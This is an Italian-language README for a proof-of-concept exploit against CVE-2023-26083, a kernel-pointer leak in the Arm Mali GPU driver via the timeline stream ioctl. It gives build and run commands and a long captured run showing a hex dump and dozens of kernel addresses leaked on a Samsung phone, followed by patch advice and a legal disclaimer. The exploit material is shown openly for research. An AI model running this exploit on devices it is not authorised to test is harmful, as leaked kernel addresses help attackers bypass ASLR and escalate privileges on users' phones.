
CVE-2023-26083-Mali-InfoLeak-PoC
Questo repository contiene un exploit proof-of-concept (PoC) per CVE-2023-26083, una vulnerabilità nel driver della GPU Mali (Arm Mali GPU Kernel Driver) che consente a un utente non privilegiato di divulgare puntatori del kernel e informazioni interne sensibili tramite il timeline stream (/dev/mali0).
Il driver della GPU Mali fornisce una funzionalità “timeline stream” (tlstream) per profilazione e debug. Questo stream esporta eventi che contengono puntatori grezzi del kernel (ad es. indirizzi di kbase_context, kbase_gpu, kbase_lpu, spazi di indirizzi, atomi, ecc.). Normalmente, l'accesso a questo stream richiederebbe il flag BASE_CONTEXT_CREATE_FLAG_MONITOR. Tuttavia, a causa di un controllo delle autorizzazioni mancante nel gestore KBASE_IOCTL_TLSTREAM_ACQUIRE, qualsiasi processo (anche senza il flag di monitor) può ottenere un descrittore di file per il timeline stream e leggere indirizzi di memoria del kernel.
Impatto:
/dev/mali0 deve esistere).Poiché il codice è autonomo e indipendente, puoi facilmente cross-compilarlo utilizzando strumenti standard.
Utilizza la toolchain Android NDK per compilare per dispositivi ARM64. È altamente consigliato l'uso del linking statico per prevenire problemi di compatibilità del linker dinamico su diverse versioni di Android:
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
Se stai testando su una scheda di sviluppo ARM (come Raspberry Pi o Odroid) che ha una GPU Mali ed esegue una distribuzione Linux standard:
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
./mali_tlstream_leak
Il programma:
/dev/mali0.BASE_CONTEXT_CREATE_FLAG_NONE (nessun privilegio di monitor).*** KERNEL).Nota: Questo Proof-of-Concept (PoC) è stato testato solo su un Samsung Galaxy J7 Prime con Android 8.1.0 (Kernel 3.18) con il livello di patch di sicurezza del 1° aprile 2020.
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)
Raw hex dump (3805 bytes):
0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
Parsing packets:
Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
[NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
[NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
[NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
[NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
[NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
[NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
[NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
[NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
[NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
[NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
[NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
[NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
[LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
[NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
[NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
[NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
[NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
[NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
[NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
[NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
[NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
[NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
[NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
[NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
[NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
[NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
[NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613
Come mostrato, il PoC perde con successo multipli indirizzi del kernel:
I passaggi chiave sono:
/dev/mali0 – interfaccia standard del dispositivo Mali.BASE_CONTEXT_CREATE_FLAG_NONE (nessun privilegio di monitor).Aggiorna il tuo kernel a una versione che include la correzione per CVE-2023-26083.
In alternativa, se sei un produttore, applica la patch da Arm o dal ramo stabile del kernel Linux.
Questo codice è fornito solo per scopi educativi e di ricerca sulla sicurezza.
L'uso di questo exploit su sistemi senza autorizzazione esplicita potrebbe violare le leggi applicabili. L'autore non è responsabile per eventuali usi impropri o danni causati da questo software. Usalo solo su dispositivi di tua proprietà o per i quali hai un'autorizzazione scritta per testarli.
Noveris